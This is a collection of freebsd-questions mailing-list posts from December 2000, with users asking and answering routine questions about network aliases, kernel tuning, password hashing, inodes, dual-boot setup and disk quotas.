> 
> ifconfig_fxp0="inet 10.10.10.1  netmask 255.255.255.0"
> ifconfig_fxp0_alias0="inet 10.10.11.1  netmask 255.255.255.255"
> ifconfig_fxp0_alias1="inet 10.10.12.1  netmask 255.255.255.255"

Like in this case. Here each should have a 255.255.255.0 netmask. One
uses a 255.255.255.255 netmask on aliases when the alias address lies
on the same network as the "real" address.

> Unless you're going to setup packet filtering or the kernel based firewall,
> then there is no need to activate the options you were told you needed....

He want's do do NAT. He needs IPFIREWALL and IPDIVERT.

> The basic kernel supports mutiple IP address aliases by default.

His subject line is skewed from the real topic. I'll change it in this
reply.

Anyway, on to the compile problem. Please humor me. Go to the build
diretory and try,

  # make clean depend all

Again. If you get that error, please send your kernel config file to
the list. As well as the error message including the few lines leading
up to it. Where did you get your source tree?
-- 
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I have an existing Mac/Windows network and I want to add my FreeBSD box to
the party ... but something doesn't seem to work.

I have assigned the FreeBSD box the ip address of 192.168.0.4 and I can ping
that address from FreeBSD as well as it's standard localhost address.
However I cannot see beyond the box or from Windows or Mac to the box.  The
card and cable check out fine; /etc/rc.conf has my host name
"lane.unix.home"; and /etc/hosts has an entry for each of the three boxes
...

On bootup the Real Tech ethernet card is identified and ifconfig -a reports
the correct ip, subnetmask and status ...

I'm not real familiar with unix so I'm not sure where to go next ... I did
notice that there is no device named /dev/rl0* ... could this be an issue?

Please provide guidance.

P.S.  I'm still trying to figure out how to subscribe to this list, so if
you could point me in the right direction there, too, I'd appreciate it.

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> MY machine is a thinkpad a20M.
>

LOL sorry thats the same machine i and a bunch of my fellow workers have...
Alright heres the scoop. IBM uses the same partition type for its suspend
and hibernation mode. So when you installed freebsd onto your laptop and
tried to reboot it thinks ur bsd partition is a hybernation file so it tries
to to boot it and fails. You won't have any luck access anything u can't
even get into your bios, ur hd is now a paper weight =\ You will need to rma
it back and get a replacement and use some other OS until IBM comes out with
a revision. I work for an IBM afiliated company and IBM denies any wrong
doing so to say for this problem. It took us 3 hds and multiple
conversations on the phone with their engineers bfore we figured out the
prob.

Sorry for the bad news.
If you would like more info just ask.

Ryan Masse
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On Sun, Dec 17, 2000 at 11:59:03PM -0600, lanehol@bellsouth.net wrote:
> I have an existing Mac/Windows network and I want to add my FreeBSD box to
> the party ... but something doesn't seem to work.

And that something would be... You never really told us what is not
working. Can you ping the other machines? By hostname? By IP address?
If you do a tcpdump on rl0 and try to make some traffic, do you see
anything?

> I have assigned the FreeBSD box the ip address of 192.168.0.4 and I can ping
> that address from FreeBSD as well as it's standard localhost address.

That tells us your routing table is probably OK, but does not tell us
anything about the actual performance of the NIC.

> However I cannot see beyond the box or from Windows or Mac to the
> box.

"See beyond?"

>  The
> card and cable check out fine;

How did you check them out? What is your physical setup? Some CAT5 and
a hub?

> /etc/rc.conf has my host name
> "lane.unix.home"; and /etc/hosts has an entry for each of the three boxes
> ...
> 
> On bootup the Real Tech ethernet card is identified and ifconfig -a reports
> the correct ip, subnetmask and status ...

Looking good/

> I'm not real familiar with unix so I'm not sure where to go next ... I did
> notice that there is no device named /dev/rl0* ... could this be an issue?

No. That is normal.

> P.S.  I'm still trying to figure out how to subscribe to this list, so if
> you could point me in the right direction there, too, I'd appreciate it.

Well, this,

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Might be a pretty good hint. If you still need help,

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Re,

I did change /etc/login.conf to use MD5 for password encryption. How do i 
know that it has come into effect? master.passwd still looks the same 
and /usr/lib/libcrypt* is still linked against DES.

Anyone? please help!
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Tim McMillen wrote:

>         And csh (and tcsh) are the only ones that keep the hash table of
> commands.  The others just search through the path.  As I was informed the
> last time I asked about rehash, csh maintains this hash table to make
> command execution slightly more efficient by speeding the finding of the
> executeable.  Other shells don't do this.

	Actually, just about every modern shell keeps a hash table of commands
its already seen. All of the "advanced" bourne shell derivatives (like
bash, my shell for example) that I am aware of do. 

$ type mount
mount is hashed (/sbin/mount)

The difference is that the bourne shell derivatives are smart enough to
scan the PATH again automatically when the user requests a command it
hasn't already seen. :)

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xxx# passwd my
Changing local password for my.
New password:
Retype new password:
passwd: cannot set password cipher: Undefined error: 0
passwd: /etc/master.passwd: unchanged
xxx# 

i have the following in /etc/login.conf:

default:\
        :passwd_format=MD5:\

any suggestions?!


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Tim McMillen wrote:
> 
>         Hi, does anybody know anything about the scilab port?  Has it just
> not been updated? 
> 
>         And checking the ftp server,
> ftp://ftp.inria.fr/INRIA/Projects/Meta2/Scilab/distributions   they do not
> seem to have the version that the port wants.  Any info would be
> appreciated.

	It's customary to contact the maintainer first with information like
this. The maintainer's e-mail address is in the Makefile of the port.
Your suspicion is confirmed, so we look forward to patches that fix this
problem from the maintainer, or you. :)

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J.Goodleaf (john@goodleaf.net) wrote:

> If you need/want a dual proc machine, you must go Intel.

If I'm not mistaken, this is a hardware limitation, not a FreeBSD
limitation... Dual processor AMD motherboards aren't made yet. It's a
shame nobody will take a risk on a dual-processor AMD server MB. 

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> On Sun, Dec 17, 2000 at 08:32:08PM -0800, Randy Katz wrote:
> > Please correct me if I'm wrong but /etc/rc.local seems to be alive and 
> > well, at least in R4.1.1...
> 
> Before we get to far into another rc.d versus rc.local debate, let's
> all RTFM, man rc,
> 
>   DESCRIPTION
>      Rc is the command script which controls the automatic reboot (calling the
>      other scripts) and rc.local is the script holding commands which are per-
>      tinent only to a specific site.  Typically, the /usr/local/etc/rc.d mech-
>      anism is used instead of rc.local these days but if you do want to use
>      rc.local, /etc/rc still supports it.  In this case, rc.local should
>      source /etc/rc.conf and contain additional custom startup code for your
>      system.
> 
Errm, well that's cleared that up hasn't it.. mmm.
The word "typically" is interesting, typically by who ?

Don;t have this problem on linux hee hee (joke guys, no flames !)

Cliff




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Hi everyone,

I am using named on 4.2-RELEASE. It is running as an unprivledged user, 
and cannot write to /etc/namedb.

I would like to log some things to file, and to get a stats dump, but 
have been unable to. Does anyone have any suggestions as to how I can 
work around this? I don't think setting /etc/namedb to bind.bind 
ownership is a good idea.

Thanks,
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> > If you need/want a dual proc machine, you must go Intel.
>
> If I'm not mistaken, this is a hardware limitation, not a FreeBSD
> limitation... Dual processor AMD motherboards aren't made yet. It's a
> shame nobody will take a risk on a dual-processor AMD server MB.

Where've you been, under a rock ?  You heard of the AMD 760MP chipset, which
is being tested right now, and will _soon_ be in motherboards allowing Dual
Athlon Thunderbirds ?  Your Dual Thunderbird 1.2 gigahertz is on the way.




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our MAILSERVER config as above:

maxusers 320
options         SOMAXCONN=3D256
options         NMBCLUSTERS=3D8704
options         CHILD_MAX=3D512
options         OPEN_MAX=3D512

but it says :
    out of mbuf ,increase maxuser
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we want to modified maxuser,NMBCLUSTERS
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<DIV><FONT size=3D2>our MAILSERVER config as above:</FONT></DIV>
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size=3D2>maxusers&nbsp;320<BR>options&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
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Hello,
Apart from personal preferences is there any compelling reason
to not use GNU system programs instead of BSD ones ?
(e.g. du, df.. make ?).

Will anything "break" if I just choose the ones I like best
which may include some GNU ones ?

thanks

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On Mon, Dec 18, 2000 at 07:26:17AM +0000, Cliff Sarginson wrote:
> Hello,
> Apart from personal preferences is there any compelling reason
> to not use GNU system programs instead of BSD ones ?
> (e.g. du, df.. make ?).

Noooooooooo........................

Please take the inevitable religious debate to -advocacy.

> Will anything "break" if I just choose the ones I like best
> which may include some GNU ones ?

If you mean to install GNU tools _over_ the BSD versions in /bin,
/usr/bin, etc., you will break things. If you just put them elsewhere
in the tree, say a /usr/gnu or in /usr/local, you should be OK.
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* zhangshouhui <zhang-sh@ms.lawton.com.cn> [001217 23:15] wrote:
> our MAILSERVER config as above:
> 
> maxusers 320
> options         SOMAXCONN=256
> options         NMBCLUSTERS=8704
> options         CHILD_MAX=512
> options         OPEN_MAX=512
> 
> but it says :
>     out of mbuf ,increase maxuser
> then shutdown.
> we want to modified maxuser,NMBCLUSTERS
> please tell me what meant about maxuser,NMBCLUSTERS.

raise NMBCLUSTERS to 32768.

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On Mon, Dec 18, 2000 at 01:05:11AM -0600, Victor R. Cardona wrote:
> Hi everyone,
> 
> I am using named on 4.2-RELEASE. It is running as an unprivledged user, 
> and cannot write to /etc/namedb.
> 
> I would like to log some things to file, and to get a stats dump, but 
> have been unable to. Does anyone have any suggestions as to how I can 
> work around this? I don't think setting /etc/namedb to bind.bind 
> ownership is a good idea.

Put empty files with the correct names, ownerships, and permissions in
the right place. No need to change the directory perms. One can also
specify paths for the stats file and other in the configuration file.
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> On Mon, Dec 18, 2000 at 07:26:17AM +0000, Cliff Sarginson wrote:
> > Hello,
> > Apart from personal preferences is there any compelling reason
> > to not use GNU system programs instead of BSD ones ?
> > (e.g. du, df.. make ?).
> 
> Noooooooooo........................
> 
> Please take the inevitable religious debate to -advocacy.
>
Oh I am not interested in that sort of debate, I dont have an opinion
either way. My question was purely technical in nature :)

> > Will anything "break" if I just choose the ones I like best
> > which may include some GNU ones ?
> 
> If you mean to install GNU tools _over_ the BSD versions in /bin,
> /usr/bin, etc., you will break things. If you just put them elsewhere
> in the tree, say a /usr/gnu or in /usr/local, you should be OK.

Ok, thanks.

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Hi 
I bought a computer and I am very happy with it but every time I switch on I 
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Virtual Daemon Driver not detected. where can I download this? do I need it 
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On Fri, Dec 15, 2000 at 07:37:21PM +0300, Odhiambo Washington wrote:
> If you're sure you've ascertained that the card is supported by FreeBSD
> then it is easy. Just powerdown, plugin the card and power up.
> See in the kernel config file that device rl is enabled, if not enable and
Realtek 8029 needs 'ed' not 'rl' device. 
Also, he may not recompile kernel. Just load module:
kldload if_ed


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It does not really matter. Take it from 4.2. I think
boot manager did not change drastically to be
incompatible upwards.

----- Original Message ----- 
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To: "Artem Koutchine" <matrix@ipform.ru>
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> sir,
>      now the problem is that i dont know the release 
> of my fbsd.the installation was done by my friend
> and he has taken the cd home.is there any way that
> i could find the release.he had purchased it from the
> bangalore IT fair last month. or should i copy it from
> 4.2 release.
>  i'm a begineer and not adept in working it but
> i would certainly like to fix it myself, with out his
> help. so kindly help me out.
>  sorry for the inconvenience caused u have really
> helped me , but pls a bit more.
>      could i try the picobsd copy it in a floppy and
> try it out.
> awaiting your reply
>                    sincerely
>                 vinod 
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Hi There,
Can anyone tell me if tcpserver be used to lockdown a sendmail config. Have
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FreeBSD 4.0 running on stock standard Intel platform
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* David Xu <davidx@viasoft.com.cn> [001218 01:16] wrote:
> Hi,
> 
>  does FreeBSD support mandatory file lock?

No.

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* David Xu <davidx@viasoft.com.cn> [001218 01:33] wrote:
> Hi,
>    can next FreeBSD installs bash as default shell instead of
> csh? it seems if you default install csh as default one, the system
> is inconsistency, because csh can't execute
> all scripts in FreeBSD, your scripts are all written in sh shell,
> bash can execute them without problem, but csh is incompatible with
> sh, it can not execute sh scripts, this is very nasty.

FreeBSD will not use bash in the base system.

Just because _root's_ shell is csh, doesn't mean that all scripts
need to run via csh, we have a sh in /bin and all scripts
that need it ask for it via "#!/bin/sh".

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hi.

i bought freebsd and ive been trying to install it on my machine.
i run an amd 1000MHz processor with a 40G hard drive.
the problem ive been having over and over is 'no free inodes'
when i try to install all the packages from the 1st cd rom in the
set.  after trying to have it live on the last 20Gs of space, and having
no luck getting it to boot back there, i moved it to the front 20Gs.
if i try to install all the packages there, i get 'no free inodes'
i did get it up and running once, from a standard install.

im also having trouble getting it and windows 2000 to like being
on the same disk.  your boot manager doesnt seem to see
beyond a certain point.  it lists windows 2000 as ??? when i go to boot.
if i try to choose ??? to boot into, with windows 2000 on the last=20
20G, it wont let me.  if windows 2000 lives in the first 20G,=20
and BSD on the last 20G, windows is still listed as ???, i can
boot into it, but then i cant boot into BSD.

i'm running the 4.0 release.  granted i'm not 100% sure of every step
i'm taking with BSD since i'm new to the whole *ix scene, but i=20
wouldn't think a 650MB cd could fill a 20G hard drive.  That would be
some awesome compression...  30:1 by my calculations, so i'm
sure somethings wrong.

i'm going to try to install 4.2 here in a bit.  i'm kind of bummed.
i paid 50$ for the BSD and 0$ for windows 2000 server, and windows
is the only OS i have to write you this email in so far.

thanks

jerry

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<DIV><FONT face=3DArial size=3D2>im also having trouble getting it and =
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</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>and BSD on the last 20G, </FONT><FONT =
face=3DArial=20
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<DIV><FONT face=3DArial size=3D2>boot into it, but then i cant =
</FONT><FONT=20
face=3DArial size=3D2>boot into BSD.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>i'm running the 4.0 release.&nbsp; =
granted&nbsp;i'm=20
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<DIV><FONT face=3DArial size=3D2>i'm taking with BSD since i'm new to =
the whole *ix=20
scene, but i&nbsp;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>wouldn't think a 650MB cd could fill a =
20G hard=20
drive.&nbsp; That would be</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>some awesome compression...&nbsp; 30:1 =
by my=20
calculations, so i'</FONT><FONT face=3DArial size=3D2>m</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>sure somethings wrong.</FONT></DIV>
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<DIV><FONT face=3DArial size=3D2>i'm going to try to install 4.2 here in =
a=20
bit.&nbsp; i'm kind of bummed.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>i paid 50$ for the BSD and 0$ for =
windows 2000=20
server, and windows</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>is the only OS i have to write you this =
email in so=20
far.</FONT></DIV>
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Christopher Farley wrote:

> J.Goodleaf (john@goodleaf.net) wrote:
> 
>> If you need/want a dual proc machine, you must go Intel.
> 
> 
> If I'm not mistaken, this is a hardware limitation, not a FreeBSD
> limitation... Dual processor AMD motherboards aren't made yet. It's a
> shame nobody will take a risk on a dual-processor AMD server MB. 
> 
I believe it's not the fact that the AMD can't handle dual support, it's 
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>From: Christoph Sold <so@server.i-clue.de>
>To: Richard Shea <rshea@my-deja.com>
>Subject: Re: machine sick - keyboard partially locked ?
>
>Richard Shea schrieb:
>> 
>> Hi - I've got a freebsd system which has only a system console.
>> 
>> Although I can still use F1,F2.. etc to change terminals I cannot >>use the keyboard has become locked for anything else. I would like >>to reboot but obviously I can't ! I'm thinking about just >>powercycling but I know that's not a good idea generally. Anyone >>got any good ideas as to how I can get out of this ?
>> 
>
>ctrl-alt-del should work fi you did not disable this.

I don't think I've disabled it but is this considered OK ? I thought anything other than a 'shutdown' was liable to damage the filesystem ? Is c-a-d setup in someway to be a synonm for a quiet shutdown [doesn't seem very likely] (I appreciate I don't have a lot of choice :-(

This seems like an area of ambiguity to me. Plenty of people seem to run *nix boxes without UPS's which would seem to indicate that just taking the power off the box can't be _so_ disasterous. Comments ? Experiences ?

>
>OTOH, since I got a machine not responding at the console, too: Was
>there any change in the late days of 4.1.1-Stable wich can cause >trouble at the console?
>

Sorry that you've got troubles too. However I don't think we have the same cause. I've got a pretty straight 3.4 machine and I haven't been cvsupping so I don't think I'm due any new problems.

thanks again for your reply.

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On Mon, Dec 18, 2000 at 05:30:36PM +0800, David Xu wrote:
>    can next FreeBSD installs bash as default shell instead of csh? it seems if you default install csh as default one, the system is inconsistency, because csh can't execute 
bash is GNU software. And it is not possible to include it into base
system.
And bash sucks :-)

#!/bin/sh <---  This line tells kernel which shell use for script
so there is REAL Bourne shell in base system. 

And "csh" is NATURAL part of any BSD system. If you don't like it then
just don't use it.

-- 
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On Sat, 16 Dec 2000 07:28:37 +1000
"Doug Young" <dougy@bryden.apana.org.au> wrote:

> I'd appreciate comments on the following 
> The problem with Netscape, at least to 4.7, (haven't found much real
> info on 6 yet) is that it doesn't recognize more than one POP3
> account & apparently the only solution is to resort to IMAP on the
> local mailserver.

you can use another email client, as balsa or sylpheed ... which can use several pop3 accounts


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On Fri, 15 Dec 2000 16:36:05 -0800
"Peter Brezny" <peter@sysadmin-inc.com> wrote:

> I was reading through the jail (8) man page and it tells me to see
> the jail
> (2) man page for further details.
> 
> What doe these numbers mean, and how do i get to the jail(2) page?
> 
> TIA
> 
> Peter Brezny
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> 
> 
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> On Mon, Dec 18, 2000 at 05:30:36PM +0800, David Xu wrote:
> >    can next FreeBSD installs bash as default shell instead of csh? it seems if you
default install csh as default one, the system is inconsistency, because csh can't execute

> bash is GNU software. And it is not possible to include it into base
> system.
> And bash sucks :-)
Let's avoid such subjective evaluations shall we ?
People just use the shell they feel comfortable with, it is a tool
for a job, not a religion.

> 
> #!/bin/sh <---  This line tells kernel which shell use for script
> so there is REAL Bourne shell in base system. 
> 
> And "csh" is NATURAL part of any BSD system. If you don't like it then
> just don't use it.
> 
> -- 
> Igor Robul, Unix System Administrator & Programmer @ sanatorium "Raduga", 
> Sochi, Russia
> http://www.brainbench.com/transcript.jsp?pid=304744
> 
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> Any comments or suggestions welcome.

Fix doscmd, which does the emulation in userland (which is even better 
than running as a KLD).

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On Fri, 15 Dec 2000 15:53:36 -0800 (PST)
Fabio Miranda <fmirand@yahoo.com> wrote:

> Hi, it worked good, now, if i want to set up a limit
> of 3 MB for everyuser, how much block is that?
> 
> thanks again

blocks are generally 1024 octets, so to do 3MB you need 3072 blocks


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     Hello!
  I have install FreeBSD 4.2, configure ibcs2 and try SCO Oracle 7.3.
 But sqldba crash with error: Bad system call. What wrong?
 Why Oracle work fine on FreeBSD 2.2.5 and don't work on FreeBSD 4.2?
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On Mon, Dec 18, 2000 at 02:14:42AM -0800, Richard Shea wrote:
> >From: Christoph Sold <so@server.i-clue.de>
> >To: Richard Shea <rshea@my-deja.com>
> >Subject: Re: machine sick - keyboard partially locked ?
> >
> >Richard Shea schrieb:
> >> 
> >> Hi - I've got a freebsd system which has only a system console.
> >> 
> >> Although I can still use F1,F2.. etc to change terminals I cannot >>use the keyboard has become locked for anything else. I would like >>to reboot but obviously I can't ! I'm thinking about just >>powercycling but I know that's not a good idea generally. Anyone >>got any good ideas as to how I can get out of this ?
> >> 
> >
> >ctrl-alt-del should work fi you did not disable this.
> 
> I don't think I've disabled it but is this considered OK ? I thought anything other than a 'shutdown' was liable to damage the filesystem ? Is c-a-d setup in someway to be a synonm for a quiet shutdown [doesn't seem very likely] (I appreciate I don't have a lot of choice :-(

No, Ctrl-Alt-Del will bring down the system smoothly. It will sync
disks. But off-hand, I can't remember if it is equivalent to
shutdown(8) or reboot(8).

> This seems like an area of ambiguity to me. Plenty of people seem to run *nix boxes without UPS's which would seem to indicate that just taking the power off the box can't be _so_ disasterous. Comments ? Experiences ?

Filesystems are not as delicate as they were long ago (long being more
than five or ten years). Generally, pulling the plug or power cycling
a system may mess up a few files, but it generally won't screw up your
filesystem beyond hope.

As for all the UNIX boxes out there without UPSes, look at all of the
NT boxes. They just as bad off when the system goes down hard if they
are living on NTFS.

Hard-stopping a modern filesystem is a Bad Thing, but it is not
/usually/ a disasterous thing.
-- 
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You say that you're new to IX so perhaps this will help
 
For every file you install there is an inode, the inode contains the data
ABOUT the file
think of it as an envelope with who owns the file, who has permission to use
it etc written on it.
 
If you run out of inodes even if you have loads of disk space left you
cannot add any more files
you can just enlarge old ones. 
Taking the envelope analogy, you can stuff more pages in your existing
envelopes but have no spare envelopes to create any new stuff.
 
The upshot of which means it sounds as if your disk is badly partitioned,
since it is a fresh installation
it is probably "/usr" that is full but the error message should tell you
which file system is out of inodes.
 
Re label the disk and make the problem filesystem bigger.
 
 
As to your windows problem, I am happily running 2000 Professional, FreeBSD
and Mandrake Linux from a single 30G disk ( and remember that 1G is 1000M so
your 650M CD will easily fit on a 20G disk).
 
The problem could be with the BIOS although others may be able to comment
better than I
I just know that some older BIOS' can only load boot straps from the first
1024 cylinders.
If this is your problem you could split your 2000 installation into a
minimal bootable area at the start of the disk and a second larger file
system after your BSD.
That way both the FreeBSD bootstraps and the Windows bootstraps can be kept
within the first 1024 cylinders.

-----Original Message-----
From: j [mailto:dr53003@alltel.net]
Sent: 18 December 2000 10:07
To: freebsd-questions@freebsd.org
Subject: 


hi.
 
i bought freebsd and ive been trying to install it on my machine.
i run an amd 1000MHz processor with a 40G hard drive.
the problem ive been having over and over is 'no free inodes'
when i try to install all the packages from the 1st cd rom in the
set.  after trying to have it live on the last 20Gs of space, and having
no luck getting it to boot back there, i moved it to the front 20Gs.
if i try to install all the packages there, i get 'no free inodes'
i did get it up and running once, from a standard install.
 
im also having trouble getting it and windows 2000 to like being
on the same disk.  your boot manager doesnt seem to see
beyond a certain point.  it lists windows 2000 as ??? when i go to boot.
if i try to choose ??? to boot into, with windows 2000 on the last 
20G, it wont let me.  if windows 2000 lives in the first 20G, 
and BSD on the last 20G, windows is still listed as ???, i can
boot into it, but then i cant boot into BSD.
 
i'm running the 4.0 release.  granted i'm not 100% sure of every step
i'm taking with BSD since i'm new to the whole *ix scene, but i 
wouldn't think a 650MB cd could fill a 20G hard drive.  That would be
some awesome compression...  30:1 by my calculations, so i'm
sure somethings wrong.
 
i'm going to try to install 4.2 here in a bit.  i'm kind of bummed.
i paid 50$ for the BSD and 0$ for windows 2000 server, and windows
is the only OS i have to write you this email in so far.
 
thanks
 
jerry


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<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>You 
say that you're new to IX so perhaps this will help</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>For 
every file you install there is an inode, the inode contains the data ABOUT the 
file</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>think 
of it as an envelope with who owns the file, who has permission to use it etc 
written on it.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>If you 
run out of inodes even if you have loads of disk space left you cannot add any 
more files</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>you 
can just enlarge old ones. </SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>Taking 
the envelope analogy, you can stuff more pages in your existing envelopes but 
have no spare envelopes to create any new stuff.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>The 
upshot of which means it sounds as if your disk is badly partitioned, since it 
is a fresh installation</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>it is 
probably "/usr" that is full but the error message should tell you which file 
system is out of inodes.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>Re 
label the disk and make the problem filesystem bigger.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>As to 
your windows problem, I am happily running 2000 Professional, FreeBSD and 
Mandrake Linux from a single 30G disk ( and remember that 1G is 1000M so your 
650M CD will easily fit on a 20G disk).</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN 
class=109302910-18122000></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>The 
problem could be with the BIOS although others may be able to comment better 
than I</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>I just 
know that some older BIOS' can only load boot straps from the first 1024 
cylinders.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>If 
this is your problem you could split your 2000 installation into a minimal 
bootable area at the start of the disk and a second larger file system after 
your BSD.</SPAN></FONT></DIV>
<DIV><FONT color=#0000ff face=Arial size=2><SPAN class=109302910-18122000>That 
way both the FreeBSD bootstraps and the Windows bootstraps can be kept within 
the first 1024 cylinders.</SPAN></FONT></DIV>
<BLOCKQUOTE style="MARGIN-RIGHT: 0px">
  <DIV align=left class=OutlookMessageHeader dir=ltr><FONT face=Tahoma 
  size=2>-----Original Message-----<BR><B>From:</B> j 
  [mailto:dr53003@alltel.net]<BR><B>Sent:</B> 18 December 2000 
  10:07<BR><B>To:</B> freebsd-questions@freebsd.org<BR><B>Subject:</B> 
  <BR><BR></DIV></FONT>
  <DIV><FONT face=Arial size=2>hi.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>i bought freebsd and ive been trying to install 
  it on my machine.</FONT></DIV>
  <DIV><FONT face=Arial size=2>i run an amd 1000MHz processor with a 40G hard 
  drive.</FONT></DIV>
  <DIV><FONT face=Arial size=2>the problem ive been having over and over is 'no 
  free inodes'</FONT></DIV>
  <DIV><FONT face=Arial size=2>when i try to install all the packages from the 
  1st cd rom in the</FONT></DIV>
  <DIV><FONT face=Arial size=2>set.&nbsp; after trying to have it live on the 
  last 20Gs of space, and having</FONT></DIV>
  <DIV><FONT face=Arial size=2>no luck getting it to boot back there, i moved it 
  to the front 20Gs.</FONT></DIV>
  <DIV><FONT face=Arial size=2>if i try to install all the packages there, i get 
  'no free inodes'</FONT></DIV>
  <DIV><FONT face=Arial size=2>i did get it up and running once, from a standard 
  install.</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>im also having trouble getting it and windows 
  2000 to like being</FONT></DIV>
  <DIV><FONT face=Arial size=2>on the same disk.&nbsp; your boot manager doesnt 
  seem to see</FONT></DIV>
  <DIV><FONT face=Arial size=2>beyond a certain point.&nbsp; it 
  lists&nbsp;windows 2000 as ??? when i go to boot.</FONT></DIV>
  <DIV><FONT face=Arial size=2>if i try to choose ??? to boot into, with windows 
  2000 on the last </FONT></DIV>
  <DIV><FONT face=Arial size=2>20G, it wont let me.&nbsp;&nbsp;</FONT><FONT 
  face=Arial size=2>if windows 2000 lives in the first 20G, </FONT></DIV>
  <DIV><FONT face=Arial size=2>and BSD on the last 20G, </FONT><FONT face=Arial 
  size=2>windows is still listed as ???,&nbsp;i can</FONT></DIV>
  <DIV><FONT face=Arial size=2>boot into it, but then i cant </FONT><FONT 
  face=Arial size=2>boot into BSD.</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>i'm running the 4.0 release.&nbsp; 
  granted&nbsp;i'm not 100% sure of every step</FONT></DIV>
  <DIV><FONT face=Arial size=2>i'm taking with BSD since i'm new to the whole 
  *ix scene, but i&nbsp;</FONT></DIV>
  <DIV><FONT face=Arial size=2>wouldn't think a 650MB cd could fill a 20G hard 
  drive.&nbsp; That would be</FONT></DIV>
  <DIV><FONT face=Arial size=2>some awesome compression...&nbsp; 30:1 by my 
  calculations, so i'</FONT><FONT face=Arial size=2>m</FONT></DIV>
  <DIV><FONT face=Arial size=2>sure somethings wrong.</FONT></DIV>
  <DIV><FONT face=Arial size=2></FONT>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>i'm going to try to install 4.2 here in a 
  bit.&nbsp; i'm kind of bummed.</FONT></DIV>
  <DIV><FONT face=Arial size=2>i paid 50$ for the BSD and 0$ for windows 2000 
  server, and windows</FONT></DIV>
  <DIV><FONT face=Arial size=2>is the only OS i have to write you this email in 
  so far.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>thanks</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=Arial size=2>jerry</FONT></DIV></BLOCKQUOTE></BODY></HTML>

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On Mon, Dec 18, 2000 at 02:14:42AM -0800, Richard Shea wrote:
> I don't think I've disabled it but is this considered OK ? 
>I thought anything other than a 'shutdown' was liable to damage the 
>filesystem ? Is c-a-d setup in someway to be a synonm for a quiet 
>shutdown [doesn't seem very likely] (I appreciate I don't have a lot 
>of choice :-(
Ctrl+Alt+Del is OK
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>           I have installed two operating systems in
> my computer . One is FreeBSD, the other is 
> Windows 98.
> once i boot , i'm asked to choose between the BSD and
> win98. now due to fluctuations my pc crashed, and i
> had no other option but to install win 98 once again
> which lies in my c-drive, whereas FreeBSD in d-drive.
> now as i installed win 98 , the problem is now i don't
> get the two options i.e., to choose between "98" or
> "bsd". it directly boots to windows.
>  now sir how do i get my freebsd back.

http://www.freebsd.org/FAQ/install.html#WIN95-DAMAGED-BOOT-MANAGER

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On Mon, Dec 18, 2000 at 11:33:01AM +0100, cam wrote:
> On Fri, 15 Dec 2000 15:53:36 -0800 (PST)
> Fabio Miranda <fmirand@yahoo.com> wrote:
> 
> > Hi, it worked good, now, if i want to set up a limit
> > of 3 MB for everyuser, how much block is that?
> > 
> > thanks again
> 
> blocks are generally 1024 octets, so to do 3MB you need 3072 blocks

No, "blocks" are generally 512 bytes. See dd(1), du(1), df(1), etc.
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Please open FreeBSD CD in your windows98 .
here you find "book", It's name "complete FreeBSD"
print and read. here you find your soluation.
----- Original Message ----- 
From: vinod thomas <cyberdude7791@yahoo.com>
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> dear sir,
>           I have installed two operating systems in
> my computer . One is FreeBSD, the other is 
> Windows 98.
> once i boot , i'm asked to choose between the BSD and
> win98. now due to fluctuations my pc crashed, and i
> had no other option but to install win 98 once again
> which lies in my c-drive, whereas FreeBSD in d-drive.
> now as i installed win 98 , the problem is now i don't
> get the two options i.e., to choose between "98" or
> "bsd". it directly boots to windows.
>  now sir how do i get my freebsd back.
> please help me out. i would be obliged if u could
> rectify my problem.pls mail me back at
